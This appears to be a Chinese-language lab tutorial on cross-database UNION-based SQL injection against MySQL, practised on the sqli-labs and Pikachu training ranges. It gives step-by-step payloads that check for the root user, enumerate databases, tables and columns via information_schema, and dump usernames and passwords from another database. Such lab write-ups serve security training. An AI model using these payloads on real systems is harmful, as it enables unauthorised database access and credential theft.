本文只针对同服情况下的跨库注入。
跨库查询的前提是在注入的位置得是mysql的root用户,因为root用户可以访问到MySQL的所有数据库,而普通用户只能访问自己的那个数据库,无法跨库访问。
如何鉴别是否是root用户,直接使用user()函数就行。
/?id=-1 union select 1,user(),3
在MySQL5.0以上版本中,会存在一个自带的数据库:information_schema,这个会存储记录所有的数据库名、表名、列名,可以通过这个来查找有关的表名和列名。跨库主要利用这个数据库。
在这里面:
SCHEMATA表存放了这个MySQL的所有数据库
TABLES表存放了这个MySQL中所有数据库的表
测试环境:
MySQL:含有security和pikachu的数据库
注入点:sqlilabs靶场
最终目的:在sqlilabs中查询出piakchu的数据库
先查找出MySQL中有哪些数据库:
/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata
可以看到有pikachu数据库。
group_concat(schema_name)中的schema_name是information_schema数据库中schemata表的一个列名。

查pikachu中的表名
/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='pikachu'记得要指定后面的数据库名!!!


可以看出查询成功。
查询pikachu中users表的列名
/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='pikachu' and table_name='users'记得要指定哪个数据库的users表

4个列名都查到了。
接着查询数据,看看和上图的数据能不能对上。
查询users表的数据
/?id=-1 union select 1,group_concat(id,0x3a,username,0x3a,password),3 from pikachu.users
可以对上,3条数据都出来了。